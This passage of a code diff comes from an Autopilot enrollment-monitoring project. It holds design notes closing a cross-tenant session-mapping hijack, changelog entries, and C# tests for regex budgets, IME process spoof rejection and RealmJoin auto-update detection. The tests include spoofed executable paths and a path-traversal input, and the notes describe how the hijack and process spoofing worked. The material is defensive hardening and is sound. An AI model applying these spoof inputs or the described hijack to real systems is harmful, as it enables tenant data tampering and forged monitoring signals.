The lookup row is **claimed at registration, first-writer-wins** (`ClaimSessionTenantLookupAsync`, create-only `AddEntity` BEFORE any Sessions/SessionsIndex write): on 409 the existing owner is read back — same tenant ⇒ normal re-registration, different tenant ⇒ `SessionTenantConflictException` ⇒ `409 Conflict` with `ErrorCode=session_owner_mismatch` (owning tenant not disclosed) plus a `SessionTenantConflict` ops event, and nothing is written. The claim is deliberately NOT fail-soft. Before this, the row was an unconditional last-writer-wins upsert after the session write, so any tenant's device (self-service onboarding) that knew a victim session GUID (portal deep links, Teams/Slack notifications, progress-portal URLs) could re-point the mapping at its own tenant and have every no-`tenantId` Global Admin/Reader read — and GA writes such as the `globaladmin` annotation lane — silently served from a forged session. Session ids are 122-bit random, so a genuine cross-tenant collision does not occur; a conflict is an attack or an agent bug and fails loudly. The legacy self-heal write is Add-only too (an existing claim is the authority), and `scripts/Migration/Backfill-SessionTenantLookup.ps1` closes the pre-table window once (idempotent, Add-only) so no legacy session id is claimable. The row is deleted by the cascade one step before the tombstone (no tombstone is kept — a freed id gives a foreign tenant nothing a fresh GUID would not) and is rebuildable from Sessions (not in the critical-backup set). The former lazy triggers (`events.Count == 0` → scan) are gone: empty-but-owned results no longer pay a table scan, and endpoints resolve upfront.
`requireGlobalAdmin: true` additionally corroborates the resolved tenant against its Sessions row (one point-read): a mapping whose session does not exist in the resolved tenant keeps `TargetTenantId`, so a stale or poisoned row can never steer a GA write — silently, without any operator confirmation step (a "confirm tenant GUID" dialog was rejected as unusable). Read paths keep the single point-read; their own session read is the corroboration (404).
Related enforcement added with the migration: `RecomputeTriggerGate` — `?reanalyze=true` and `?rescan=true` on the MemberRead session routes are actions (delete + rewrite stored results) and now 403 for Viewer / Global Reader / cross-tenant tenant roles (Global Admin or own-tenant Admin/Operator only).
+1
View File
@@ -33,6 +33,7 @@ https://docs.autopilotmonitor.com (separate repository).
* [IME Log Tracker — Anchored Patterns and the Bounded Read Loop](agent/ime-log-tracker-matching-budget.md) - The IME Logs folder is user-writable, so the SYSTEM tracker must stay linear on hostile input: every shipped pattern starts with `^` (a non-match is O(prefix)), no chained unbounded scans, a byte-bounded line reader (32 MB — real `Get policies` lines reach 5.6 MB) with exact bookmarks, a 2 s per-line matching budget, held-back unterminated tails, and one Warning per pass instead of silent Debug timeouts.
* [Registry App-State Second Pillar](agent/registry-app-state-pillar.md) - IME's authoritative per-app state read straight from the registry (Win32Apps EnforcementStateMessage, EspTrackingWin32Apps, StatusServiceReports) via a snapshot-and-diff watcher; registry/log reconciliation doubles as the built-in IME log-pattern drift alarm.
* [WDP Scenario Gates & Completion Backstop](agent/wdp-scenario-gates.md) - How the agent gates Autopilot/ESP-only machinery off on Windows Device Preparation sessions (deterministic ExecutionContext marker, fail-toward-Classic), which noise it suppresses (ZTD probe, esp_config unknown, ModernDeployment 100/417/418/1005, starved sweep), and the WDP completion model: High-confidence seed, desktop-based arm D, and the 30-min device_prep_completion backstop.
* [IME Process Watcher — Identity Before Attach, Re-Arm After Exit](agent/ime-process-watcher.md) - `ime_process_exited` comes only from a process that runs in session 0 with its image under the IME install root (QueryFullProcessImageName, cross-bitness) — a process name is not an identity (CWE-807: a standard user can start a renamed binary during AccountSetup); the oldest trusted candidate wins, untrusted matches are logged once per PID and never attached, and a reported exit re-arms discovery so an IME restart and a later crash are both seen.
* [Local Admin Analyzer](agent/local-admin-analyzer.md) - What local_admin_analysis asserts at enrollment start/end: every local account inventoried, disabled ones included (a /active:no backdoor is dormant at both scans), Administrators membership read from the SAM by well-known SID (NetLocalGroupGetMembers, WMI-independent), unexpected admin members scored +40, built-ins matched by well-known RID (localized Guest/Administrator never flagged), shutdown-time dynamic allowance never covers a local SAM account (CWE-807), junctions and $GUID folders are not profiles, non-local members (Entra role SIDs) listed but never flagged, built-in Administrator enabled-state reported but not scored.
* [Power-State Watcher](agent/power-state-watcher.md) - Live AC↔battery transitions and 50/30/15% downward battery-threshold crossings during enrollment via a WMI Win32_PowerManagementEvent push subscription (zero polling, never armed on battery-less devices): the power_state_change event (transition field, per-level lifetime latch, 5s debounce, emission cap) and the analyze rules ANALYZE-DEV-009 (battery <15%, high) / ANALYZE-DEV-010 (AC→battery, warning) with on_event interim triggers.
* [System Timeline Watcher](agent/system-timeline-watcher.md) - Ground truth for two timeline blind spots from one System-channel EventLogWatcher with pre-agent backfill: system_clock_changed (Kernel-General 1 — oldTime/newTime/signed timeDeltaMs/reason/setting process; 2 s micro-slew floor, ≥5 min Warning+immediate) and system_sleep_episode (Power-Troubleshooter 1 sleep/hibernate + Kernel-Power 507 Modern Standby; authoritative enteredAt/exitedAt payload instants, 60 s Modern-Standby floor). Consumed by the TimeJumpBadge clock-set cause, the SessionInfoCard standby note, time-attribution SleepSpans (AttributionVersion 3) and ANALYZE-DEV-012.
+24
View File
@@ -1,5 +1,29 @@
# Log
## 2026-08-30 (15)
* **Update**: `backend/lifecycle-manifests-and-session-scope.md` — SessionTenantLookup is now claimed first-writer-wins at registration (create-only Add BEFORE any session write; foreign owner ⇒ 409 `session_owner_mismatch` + `SessionTenantConflict` ops event, nothing written; not fail-soft). Closes the poisoning path where any tenant's device could re-point a victim sessionId's mapping at its own tenant and hijack every no-tenantId Global Admin/Reader read and GA write (annotation lane). `ResolveSessionScopeAsync(requireGlobalAdmin: true)` corroborates the resolved tenant against its Sessions row (silent — no operator confirmation). Self-heal write is Add-only; `scripts/Migration/Backfill-SessionTenantLookup.ps1` closes the legacy window once. No tombstone on deletion (deliberate: unbounded growth for no gain).
## 2026-08-30 (14)
* **Update**: `agent/decision-engine.md` — new invariant: every payload-derived string stored into `DecisionState` is bounded to 256 chars by `FactStringBounds` before any dedupe comparison (RealmJoin package id/version/scope, failed app ids, `HelloOutcome`, `ImeMatchedPatternId`, `EspAdvisoryFailureCategory`, RJ product version/channel). Backend `ReducerVerifier` now replays decode-fold-discard instead of materialising all decoded signals, and `ISignalRepository.QueryBySessionAsync` carries a cumulative `PayloadJson` budget (`SignalQueryLimits`, 32 M chars) reflected in the `truncated` flag of `sessions/{id}/signals` and `sessions/{id}/reducer-verification`.
## 2026-08-30 (13)
* **Update**: `agent/decision-engine.md` — RealmJoin self-update observation. `realmjoin_detected` reported the MSI-shipped build (4.21.4) although the tray auto-updated to 4.21.18 nine minutes later and ran the whole deployment on it (gktatooine session 946ccbd6). `RealmJoinWatcher` now watches `HKLM\...\Uninstall\RealmJoin` (the updater's only registry write) after detection, re-reads the binary version on change and emits `realmjoin_autoupdate_detected` (`previousVersion`, `newVersion`, `releaseChannel`); the typed `RealmJoinAutoUpdateDetected` signal overrides `RealmJoinFacts.ProductVersion`/`ReleaseChannel` and nothing else. Portal device card shows the updated version with an "auto-updated from" note.
## 2026-08-30 (12)
* **Update**: `web/portal-navigation-prefetch.md` — hosting citation now points at `deploy-web.yml`: the portal is built in CI (setup-node 22, `npm ci`, `next build`) and uploaded with the pinned SWA CLI; the Azure/static-web-apps-deploy action, its Oryx in-container build and the per-PR preview environments are gone. All non-GitHub-owned actions are SHA-pinned; the release and rules auto-commit steps use first-party `gh`/`git`.
## 2026-08-30 (11)
* **New**: `agent/ime-process-watcher.md` — `ImeProcessWatcher` no longer attaches to the first `IntuneManagementExtension` name match: `ImeProcessIdentity` requires session 0 + image under the IME install root (`QueryFullProcessImageName`, cross-bitness), prefers the oldest trusted candidate, logs untrusted matches once per PID, and re-arms discovery after every reported exit (previously one-shot — a fake in a user session could forge `ime_process_exited` and mute the real signal for the session; even an IME service restart was never watched again). Registered in `index.md`.
## 2026-08-30 (10)
* **Update**: `agent/ime-log-tracker-matching-budget.md` — the per-line budget sums only `Regex.Match` time; the previous wall-clock window also counted match handlers and scheduler stalls and broke twice on genuine lines of a stalled Hyper-V guest (session 946ccbd6). `backend/ime-pattern-health.md` — `ime_pattern_hits` is Debug severity (operator signal, hidden from the default timeline; the IME Tracker card and the ingest fold read it regardless). The session page's "IME Tracker" card moved to the right column.
## 2026-08-30 (9)
* **New**: `backend/ime-pattern-health.md` — the pattern-drift loop: `ImeTrackerHealth` counters + per-pattern histogram in the agent (restart-safe via `ImeTrackerState`), `ime_*` keys in `agent_metrics_snapshot`, one-shot `ime_tracker_degraded` Warning, session-end `ime_pattern_hits` (every enabled pattern, zeros included, `imeVersion`), backend `ImePatternStats` (PK = IME version, batch upsert, permanent), `ImePatternDriftEvaluator` (baseline = biggest version ≥100 sessions, expected = ≥0.8 hit rate, drift = 0 hits in ≥25 sessions, once per cell) → `ImePatternDriftSuspected` ops event, `GET metrics/ime-pattern-health` (GlobalReadOrAdmin), web section `admin/metrics/ime-pattern-health` + session-page "IME Tracker" rows, MCP `get_ime_pattern_health`. Registered in `index.md`.
+1 -1
View File
@@ -123,4 +123,4 @@ Application Insights resource — the prefetch is cheap only while the runtime i
* `src/Web/autopilot-monitor-web/components/GlobalSidebar.tsx` — nav link rendering, rationale comment
* `src/Web/autopilot-monitor-web/components/Navbar.tsx` — top-bar and notification links
* [SWA and Oryx node pinning](../architecture.md) — hosting model for the web app
* `.github/workflows/deploy-web.yml` — hosting model: static export built in CI (Node 22 via setup-node, `engines` in package.json), uploaded with the pinned SWA CLI
@@ -3,6 +3,7 @@ using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Text;
using System.Text.RegularExpressions;
using System.Threading;
using System.Threading.Tasks;
using AutopilotMonitor.Agent.V2.Core.Logging;
@@ -139,6 +140,149 @@ namespace AutopilotMonitor.Agent.V2.Core.Tests.Monitoring.Ime
Assert.Equal(1, fired); // the persisted flag suppressed the second emission
}
[Fact]
public async Task Handler_time_does_not_count_against_the_line_budget()
{
// Session 946ccbd6: a stalled Hyper-V guest spent >2 s between two patterns of one
// genuine line and the wall-clock budget skipped the rest of the line. The budget
// bounds Regex.Match time only — a slow handler on an early pattern must leave the
// later patterns of the same line running and must not count as skipped work.
using var h = new Harness();
h.Tracker.OnPatternMatched = id => { if (id == "T-MARK") Thread.Sleep(2300); };
h.Append(Entry("marker 1 loose 1") + "\n");
await h.Pass();
var health = h.Tracker.GetHealthSnapshot();
Assert.Equal(1, health.PatternHits["T-MARK"]);
Assert.Equal(1, health.PatternHits["T-LOOSE"]); // ordered after T-MARK — still matched
Assert.Equal(0, health.BudgetBreaks);
Assert.False(health.HasSkippedWork);
}
[Fact]
public async Task Starved_timeout_is_retried_once_and_the_recovered_match_is_not_skipped_work()
{
// Session b9f1d134: a CPU-starved Hyper-V guest tripped the 1 s wall-clock regex
// timeout on a line the pattern genuinely matches in 5.8 µs. A timeout whose attempt
// consumed almost no match cost is starvation — retried once, recovered, no warning.
using var h = new Harness();
var degraded = 0;
h.Tracker.OnTrackerDegraded = (_, __, ___) => degraded++;
h.Tracker.MatchCostReader = () => 0; // attempt cost 0 < gate
var attempts = 0;
h.Tracker.MatchInvoker = (id, regex, input) =>
{
if (id == "T-MARK" && ++attempts == 1) throw new RegexMatchTimeoutException();
return regex.Match(input);
};
h.Append(Entry("marker 1") + "\n");
await h.Pass();
var health = h.Tracker.GetHealthSnapshot();
Assert.Equal(2, attempts);
Assert.Equal(1, health.PatternHits["T-MARK"]); // recovered
Assert.Equal(0, health.RegexTimeouts);
Assert.Equal(1, health.RegexTimeoutRetries);
Assert.False(health.HasSkippedWork);
Assert.Equal(0, degraded);
}
[Fact]
public async Task Timeout_that_burned_real_cpu_is_skipped_without_a_retry()
{
// The gate exists so a genuinely spinning pattern never gets a second helping of
// CPU: an attempt at or over the gate is a real timeout, counted and skipped. The
// wall-clock fallback lands here by construction (a timed-out attempt always
// measures >= the full timeout > gate).
using var h = new Harness();
var degraded = 0;
h.Tracker.OnTrackerDegraded = (_, __, ___) => degraded++;
h.Tracker.LineMatchBudget = long.MaxValue; // isolate the gate from the budget
long cost = 0;
h.Tracker.MatchCostReader = () => cost += h.Tracker.TimeoutRetryGate; // every delta >= gate
var attempts = 0;
h.Tracker.MatchInvoker = (id, regex, input) =>
{
if (id == "T-MARK") { attempts++; throw new RegexMatchTimeoutException(); }
return regex.Match(input);
};
h.Append(Entry("marker 1 loose 1") + "\n");
await h.Pass();
var health = h.Tracker.GetHealthSnapshot();
Assert.Equal(1, attempts); // no retry
Assert.Equal(0, health.PatternHits["T-MARK"]);
Assert.Equal(1, health.PatternHits["T-LOOSE"]); // later patterns still ran
Assert.Equal(1, health.RegexTimeouts);
Assert.Equal(0, health.RegexTimeoutRetries);
Assert.True(health.HasSkippedWork);
Assert.Equal(1, degraded);
}
[Fact]
public async Task Retry_that_times_out_again_is_counted_once_and_not_retried_further()
{
using var h = new Harness();
h.Tracker.MatchCostReader = () => 0; // every attempt looks starved
var attempts = 0;
h.Tracker.MatchInvoker = (id, regex, input) =>
{
if (id == "T-MARK") { attempts++; throw new RegexMatchTimeoutException(); }
return regex.Match(input);
};
h.Append(Entry("marker 1") + "\n");
await h.Pass();
var health = h.Tracker.GetHealthSnapshot();
Assert.Equal(2, attempts); // exactly one retry
Assert.Equal(1, health.RegexTimeouts);
Assert.Equal(1, health.RegexTimeoutRetries);
Assert.True(health.HasSkippedWork);
}
[Fact]
public async Task Budget_break_skips_the_remaining_patterns_and_names_the_first_skipped()
{
using var h = new Harness();
string? firstSkipped = null;
h.Tracker.OnTrackerDegraded = (_, __, pattern) => firstSkipped = pattern;
h.Tracker.LineMatchBudget = 500;
long cost = 0;
h.Tracker.MatchCostReader = () => cost += 1000; // every Match charges 1000 units
h.Append(Entry("marker 1 loose 1") + "\n");
await h.Pass();
var health = h.Tracker.GetHealthSnapshot();
Assert.Equal("T-NEVER", firstSkipped); // pattern order: T-MARK, T-NEVER, T-LOOSE
Assert.Equal(1, health.PatternHits["T-MARK"]); // matched before the budget was spent
Assert.Equal(0, health.PatternHits["T-LOOSE"]); // skipped by the break
Assert.Equal(1, health.BudgetBreaks);
Assert.True(health.HasSkippedWork);
}
[Fact]
public async Task Retry_counter_survives_a_restart()
{
using var h = new Harness();
h.Tracker.MatchCostReader = () => 0;
var attempts = 0;
h.Tracker.MatchInvoker = (id, regex, input) =>
{
if (id == "T-MARK" && ++attempts == 1) throw new RegexMatchTimeoutException();
return regex.Match(input);
};
h.Append(Entry("marker 1") + "\n");
await h.Pass();
h.Tracker.SaveStateForTest();
h.Restart();
Assert.Equal(1, h.Tracker.GetHealthSnapshot().RegexTimeoutRetries);
}
[Fact]
public void Ime_agent_version_is_captured_from_the_pattern_action()
{
@@ -0,0 +1,225 @@
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Linq;
using System.Threading;
using AutopilotMonitor.Agent.V2.Core.Logging;
using AutopilotMonitor.Agent.V2.Core.Monitoring.Enrollment.Ime;
using AutopilotMonitor.Agent.V2.Core.Orchestration;
using AutopilotMonitor.Agent.V2.Core.Tests.Harness;
using AutopilotMonitor.Agent.V2.Core.Tests.Orchestration;
using AutopilotMonitor.DecisionCore.Engine;
using AutopilotMonitor.DecisionCore.Signals;
using Xunit;
using SharedEventTypes = AutopilotMonitor.Shared.Constants.EventTypes;
namespace AutopilotMonitor.Agent.V2.Core.Tests.Monitoring.Ime
{
/// <summary>
/// CWE-807 hardening of <see cref="ImeProcessWatcher"/>: a process is only ever attached when
/// its identity (session 0 + image under the IME install root) says it is the service, and a
/// reported exit re-arms discovery so the next IME instance is watched too.
/// </summary>
[Collection("SerialThreading")] // Process.Exited is delivered on the shared ThreadPool
public sealed class ImeProcessWatcherIdentityTests
{
private const string Root = @"C:\Program Files (x86)\Microsoft Intune Management Extension";
private static readonly string[] Roots = { Root };
private static readonly DateTime T0 = new DateTime(2026, 8, 30, 10, 0, 0, DateTimeKind.Utc);
private static ImeProcessCandidate C(int pid, int session, string path, int startOffsetSeconds = 0) =>
new ImeProcessCandidate(pid, session, path, T0.AddSeconds(startOffsetSeconds));
// ---- pure identity logic ----
[Theory]
[InlineData(0, Root + @"\Microsoft.Management.Services.IntuneWindowsAgent\IntuneManagementExtension.exe", true)]
[InlineData(0, Root + @"\IntuneManagementExtension.exe", true)]
[InlineData(0, @"c:\program files (x86)\microsoft intune management extension\INTUNEMANAGEMENTEXTENSION.EXE", true)]
[InlineData(1, Root + @"\IntuneManagementExtension.exe", false)] // user session
[InlineData(2, @"C:\Users\user\Downloads\IntuneManagementExtension.exe", false)] // spoof
[InlineData(0, @"C:\Users\user\Downloads\IntuneManagementExtension.exe", false)] // wrong root
[InlineData(0, Root + @"2\IntuneManagementExtension.exe", false)] // sibling folder
[InlineData(0, Root + @"\..\Evil\IntuneManagementExtension.exe", false)] // traversal
[InlineData(0, Root + @"\IntuneManagementExtensionX.exe", false)] // name variant
[InlineData(-1, Root + @"\IntuneManagementExtension.exe", false)] // session unknown
[InlineData(0, "", false)] // path unresolved
public void IsTrusted_requires_session0_and_install_root(int session, string path, bool expected)
{
Assert.Equal(expected, ImeProcessIdentity.IsTrusted(C(1, session, path), Roots));
}
[Fact]
public void IsTrusted_rejects_null_path()
{
Assert.False(ImeProcessIdentity.IsTrusted(C(1, 0, null!), Roots));
}
[Fact]
public void SelectPreferred_skips_untrusted_and_picks_oldest_trusted()
{
var fake = C(10, 1, @"C:\Users\user\IntuneManagementExtension.exe", startOffsetSeconds: -100); // oldest, but a spoof
var young = C(20, 0, Root + @"\IntuneManagementExtension.exe", startOffsetSeconds: 50);
var service = C(30, 0, Root + @"\IntuneManagementExtension.exe", startOffsetSeconds: 0);
var chosen = ImeProcessIdentity.SelectPreferred(new[] { fake, young, service }, Roots);
Assert.Equal(30, chosen?.Pid);
Assert.Null(ImeProcessIdentity.SelectPreferred(new[] { fake }, Roots));
}
[Fact]
public void DefaultTrustedRoots_are_under_program_files()
{
var roots = ImeProcessIdentity.DefaultTrustedRoots();
Assert.NotEmpty(roots);
Assert.All(roots, r => Assert.EndsWith(ImeProcessIdentity.InstallFolderName, r));
}
[Fact]
public void Probe_reads_real_facts_for_the_current_process()
{
var me = ImeProcessIdentity.Probe(Process.GetCurrentProcess());
Assert.Equal(Process.GetCurrentProcess().Id, me.Pid);
Assert.True(me.SessionId >= 0);
Assert.False(string.IsNullOrEmpty(me.ImagePath));
Assert.EndsWith(".exe", me.ImagePath, StringComparison.OrdinalIgnoreCase);
}
// ---- watcher behaviour with real (stand-in) processes ----
private sealed class Fixture : IDisposable
{
public readonly TempDirectory Tmp = new TempDirectory();
public readonly FakeSignalIngressSink Ingress = new FakeSignalIngressSink();
public readonly ImeProcessWatcher Watcher;
public readonly List<Process> Running = new List<Process>();
public readonly Dictionary<int, ImeProcessCandidate> Facts = new Dictionary<int, ImeProcessCandidate>();
public Fixture()
{
var logger = new AgentLogger(Tmp.Path, AgentLogLevel.Info);
Watcher = new ImeProcessWatcher("session-ime", "tenant-1", new InformationalEventPost(Ingress, new VirtualClock(T0)), logger, Roots);
// Fresh handles, like Process.GetProcessesByName: the watcher owns and disposes what it is given.
Watcher.ProcessSource = () => Running
.Where(p => { try { return !p.HasExited; } catch { return false; } })
.Select(p => Process.GetProcessById(p.Id))
.ToArray();
Watcher.IdentityProbe = p => Facts.TryGetValue(p.Id, out var f) ? f : ImeProcessIdentity.Probe(p);
}
/// <summary>A stand-in process that blocks on stdin until killed; identity facts are injected.</summary>
public Process Spawn(bool trusted)
{
var psi = new ProcessStartInfo("cmd.exe", "/c pause")
{
UseShellExecute = false,
RedirectStandardInput = true,
RedirectStandardOutput = true,
CreateNoWindow = true,
};
var p = Process.Start(psi);
Running.Add(p);
Facts[p.Id] = trusted
? new ImeProcessCandidate(p.Id, 0, Root + @"\IntuneManagementExtension.exe", p.StartTime.ToUniversalTime())
: new ImeProcessCandidate(p.Id, 1, @"C:\Users\user\Downloads\IntuneManagementExtension.exe", p.StartTime.ToUniversalTime());
return p;
}
public IReadOnlyList<FakeSignalIngressSink.PostedSignal> ExitEvents() =>
Ingress.Posted
.Where(s => s.Kind == DecisionSignalKind.InformationalEvent
&& s.Payload != null
&& s.Payload.TryGetValue(SignalPayloadKeys.EventType, out var et)
&& et == SharedEventTypes.ImeProcessExited)
.ToList();
public void Dispose()
{
Watcher.Dispose();
foreach (var p in Running)
{
try { if (!p.HasExited) p.Kill(); } catch { }
try { p.Dispose(); } catch { }
}
Tmp.Dispose();
}
}
private static void WaitUntil(Func<bool> cond, int timeoutMs = 10000)
{
var sw = Stopwatch.StartNew();
while (!cond() && sw.ElapsedMilliseconds < timeoutMs)
Thread.Sleep(25);
Assert.True(cond(), "condition not met within timeout");
}
[Fact]
public void Spoofed_process_is_never_attached_and_its_exit_emits_nothing()
{
using var f = new Fixture();
var fake = f.Spawn(trusted: false);
f.Watcher.TryAttachNow();
f.Watcher.TryAttachNow();
Assert.Null(f.Watcher.AttachedProcessId);
fake.Kill();
fake.WaitForExit();
Thread.Sleep(200);
Assert.Empty(f.ExitEvents());
// The real service arriving later is still attached — discovery was never consumed.
var real = f.Spawn(trusted: true);
f.Watcher.TryAttachNow();
Assert.Equal(real.Id, f.Watcher.AttachedProcessId);
}
[Fact]
public void Real_process_exit_is_reported_and_discovery_rearms_for_the_next_instance()
{
using var f = new Fixture();
var first = f.Spawn(trusted: true);
f.Watcher.TryAttachNow();
Assert.Equal(first.Id, f.Watcher.AttachedProcessId);
first.Kill();
first.WaitForExit();
WaitUntil(() => f.ExitEvents().Count == 1);
Assert.Null(f.Watcher.AttachedProcessId);
// IME restarted (or a spoof took the name first — still ignored).
var spoof = f.Spawn(trusted: false);
var second = f.Spawn(trusted: true);
f.Watcher.TryAttachNow();
Assert.Equal(second.Id, f.Watcher.AttachedProcessId);
second.Kill();
second.WaitForExit();
WaitUntil(() => f.ExitEvents().Count == 2);
spoof.Kill();
spoof.WaitForExit();
Thread.Sleep(200);
Assert.Equal(2, f.ExitEvents().Count);
var pids = f.ExitEvents()
.Select(e => Assert.IsAssignableFrom<IReadOnlyDictionary<string, object>>(e.TypedPayload)["pid"])
.ToList();
Assert.Equal(new object[] { first.Id, second.Id }, pids);
}
[Fact]
public void With_spoof_and_service_both_running_the_service_wins_regardless_of_order()
{
using var f = new Fixture();
var spoof = f.Spawn(trusted: false); // listed first
var real = f.Spawn(trusted: true);
f.Watcher.TryAttachNow();
Assert.Equal(real.Id, f.Watcher.AttachedProcessId);
}
}
}
@@ -600,5 +600,138 @@ namespace AutopilotMonitor.Agent.V2.Core.Tests.SignalAdapters
Assert.DoesNotContain(ingress.Posted, p => p.Kind == DecisionSignalKind.RealmJoinPackageCompleted);
}
// ---- auto-update (Uninstall\RealmJoin) -----------------------------------------------
private sealed class VersionSource
{
public RealmJoinVersionInfo Info = RealmJoinVersionInfo.Empty;
public string? DisplayVersion;
public RealmJoinVersionInfo Read() => Info;
public string? ReadDisplayVersion() => DisplayVersion;
}
private sealed class AutoUpdateHarness : IDisposable
{
private readonly TempDirectory _tmp = new TempDirectory();
public FakeSignalIngressSink Ingress { get; } = new FakeSignalIngressSink();
public VersionSource Versions { get; } = new VersionSource();
public RealmJoinWatcher Watcher { get; }
public RealmJoinWatcherAdapter Adapter { get; }
public AutoUpdateHarness()
{
var logger = new AgentLogger(_tmp.Path, AgentLogLevel.Info);
var registry = new FakeRealmJoinRegistry();
Watcher = new RealmJoinWatcher(
logger,
enumeratePackageIds: registry.Enumerate,
tryReadPackage: registry.TryRead,
keyExists: registry.KeyExists,
readVersionInfo: Versions.Read,
readUninstallDisplayVersion: Versions.ReadDisplayVersion);
Adapter = new RealmJoinWatcherAdapter(Watcher, Ingress, new VirtualClock(Fixed));
}
public void Dispose()
{
Adapter.Dispose();
Watcher.Dispose();
_tmp.Dispose();
}
}
[Fact]
public void AutoUpdate_fires_once_with_previous_and_new_version_when_binary_version_changes_after_detection()
{
// gktatooine session 946ccbd6: realmjoin_detected read 4.21.4 from the MSI-shipped
// binary; nine minutes later the tray AppUpdater swapped it for 4.21.18 and rewrote
// Uninstall\RealmJoin. The Detected read is the baseline; the re-read after the
// Uninstall-key change must surface exactly one auto-update event.
using var h = new AutoUpdateHarness();
h.Versions.Info = new RealmJoinVersionInfo("4.21.4", "canary");
h.Watcher.TriggerNotifyRealmJoinPresenceFromTest(phase: 0);
Assert.Equal("4.21.4", h.Watcher.BaselineVersionForTest);
h.Versions.Info = new RealmJoinVersionInfo("4.21.18", "canary");
h.Watcher.TriggerCheckAutoUpdateFromTest();
var signal = Assert.Single(h.Ingress.Posted, p => p.Kind == DecisionSignalKind.RealmJoinAutoUpdateDetected);
Assert.Equal("4.21.4", signal.Payload![DecisionEngine.RealmJoinPayloadKeys.PreviousVersion]);
Assert.Equal("4.21.18", signal.Payload[DecisionEngine.RealmJoinPayloadKeys.ProductVersion]);
Assert.Equal("canary", signal.Payload[DecisionEngine.RealmJoinPayloadKeys.ReleaseChannel]);
var info = Assert.Single(h.Ingress.Posted, p =>
p.Kind == DecisionSignalKind.InformationalEvent
&& p.Payload != null
&& p.Payload.TryGetValue(SignalPayloadKeys.EventType, out var et)
&& et == SharedEventTypes.RealmJoinAutoUpdateDetected);
Assert.Equal("4.21.4", info.Payload!["previousVersion"]);
Assert.Equal("4.21.18", info.Payload["newVersion"]);
Assert.Equal("canary", info.Payload["releaseChannel"]);
Assert.Contains("4.21.4 -> 4.21.18", info.Payload[SignalPayloadKeys.Message]);
// Same version again (updater rewrote more values) — no duplicate.
h.Watcher.TriggerCheckAutoUpdateFromTest();
Assert.Single(h.Ingress.Posted, p => p.Kind == DecisionSignalKind.RealmJoinAutoUpdateDetected);
Assert.Equal("4.21.18", h.Watcher.BaselineVersionForTest);
}
[Fact]
public void AutoUpdate_stays_silent_when_version_is_unchanged_or_unreadable()
{
using var h = new AutoUpdateHarness();
h.Versions.Info = new RealmJoinVersionInfo("4.21.4", "release");
h.Watcher.TriggerNotifyRealmJoinPresenceFromTest(phase: 0);
// Unchanged (e.g. the tray creating the Uninstall entry on first start).
h.Watcher.TriggerCheckAutoUpdateFromTest();
// Unreadable (binary locked mid-swap, registry value not there yet) — baseline kept.
h.Versions.Info = RealmJoinVersionInfo.Empty;
h.Versions.DisplayVersion = null;
h.Watcher.TriggerCheckAutoUpdateFromTest();
Assert.DoesNotContain(h.Ingress.Posted, p => p.Kind == DecisionSignalKind.RealmJoinAutoUpdateDetected);
Assert.Equal("4.21.4", h.Watcher.BaselineVersionForTest);
}
[Fact]
public void AutoUpdate_falls_back_to_Uninstall_DisplayVersion_and_keeps_baseline_channel()
{
using var h = new AutoUpdateHarness();
h.Versions.Info = new RealmJoinVersionInfo("4.21.4", "canary");
h.Watcher.TriggerNotifyRealmJoinPresenceFromTest(phase: 0);
h.Versions.Info = RealmJoinVersionInfo.Empty; // RealmJoin.exe still held by the updater
h.Versions.DisplayVersion = "4.21.18"; // registry already rewritten
h.Watcher.TriggerCheckAutoUpdateFromTest();
var signal = Assert.Single(h.Ingress.Posted, p => p.Kind == DecisionSignalKind.RealmJoinAutoUpdateDetected);
Assert.Equal("4.21.18", signal.Payload![DecisionEngine.RealmJoinPayloadKeys.ProductVersion]);
// DisplayVersion carries no channel tag — the Detected channel is the best evidence.
Assert.Equal("canary", signal.Payload[DecisionEngine.RealmJoinPayloadKeys.ReleaseChannel]);
}
[Fact]
public void AutoUpdate_seeds_baseline_silently_when_Detected_could_not_read_the_binary()
{
using var h = new AutoUpdateHarness();
h.Versions.Info = RealmJoinVersionInfo.Empty;
h.Watcher.TriggerNotifyRealmJoinPresenceFromTest(phase: 0);
Assert.Null(h.Watcher.BaselineVersionForTest);
// First successful read has nothing to compare against — no phantom update.
h.Versions.Info = new RealmJoinVersionInfo("4.21.18", "canary");
h.Watcher.TriggerCheckAutoUpdateFromTest();
Assert.DoesNotContain(h.Ingress.Posted, p => p.Kind == DecisionSignalKind.RealmJoinAutoUpdateDetected);
Assert.Equal("4.21.18", h.Watcher.BaselineVersionForTest);
// A later genuine change is still reported against the seeded baseline.
h.Versions.Info = new RealmJoinVersionInfo("4.21.19", "canary");
h.Watcher.TriggerCheckAutoUpdateFromTest();
var signal = Assert.Single(h.Ingress.Posted, p => p.Kind == DecisionSignalKind.RealmJoinAutoUpdateDetected);
Assert.Equal("4.21.18", signal.Payload![DecisionEngine.RealmJoinPayloadKeys.PreviousVersion]);
}
}
}
@@ -331,6 +331,7 @@ namespace AutopilotMonitor.Agent.V2.Core.Monitoring.Enrollment.Ime
private sealed class PassStats
{
public int RegexTimeouts;
public int RegexTimeoutRetries;
public int BudgetBreaks;
public int OversizedLines;
public string FirstSkippedPatternId;
@@ -341,14 +342,36 @@ namespace AutopilotMonitor.Agent.V2.Core.Monitoring.Enrollment.Ime
/// pattern that times out is skipped (counted); once the aggregate budget is spent the
/// remaining patterns are skipped for this line (counted, first skipped ID recorded) —
/// matches already handled on this line stand.
/// <para>
/// The budget is the SUM of the COST spent inside <c>Regex.Match</c> on this line — the
/// resource the budget exists to bound (hostile input × unanchored custom patterns).
/// Cost is thread CPU cycles when <see cref="ThreadCycleTimeAvailable"/>, wall ticks
/// otherwise. Two production sessions forced the cycle move (both Hyper-V, 2026-08-30):
/// 946ccbd6 — a 5–10 s guest stall BETWEEN two patterns broke the then wall-clock-window
/// budget on a genuine line (fixed by charging only Match time); b9f1d134 — a stall
/// INSIDE Match calls (CPU pinned at 100 % during the DeviceSetup script burst) broke
/// the budget six times and tripped the 1 s regex timeout on a line PS-AGENT-OUTPUT
/// genuinely matches in 5.8 µs. Descheduled time accrues no cycles, so only the second
/// failure mode needed the cost change; the timeout itself is wall-clock inside .NET
/// and cannot be moved — hence the gated single retry below.
/// </para>
/// <para>
/// A <see cref="RegexMatchTimeoutException"/> whose attempt consumed less than
/// <see cref="TimeoutRetryGate"/> of cost was starvation, not matching — that attempt
/// is retried exactly once (counted as a retry, not a timeout; a recovered match is
/// handled normally and is NOT skipped work). An attempt at or over the gate burned
/// real CPU: counted as a timeout and skipped, never granted a second helping. In the
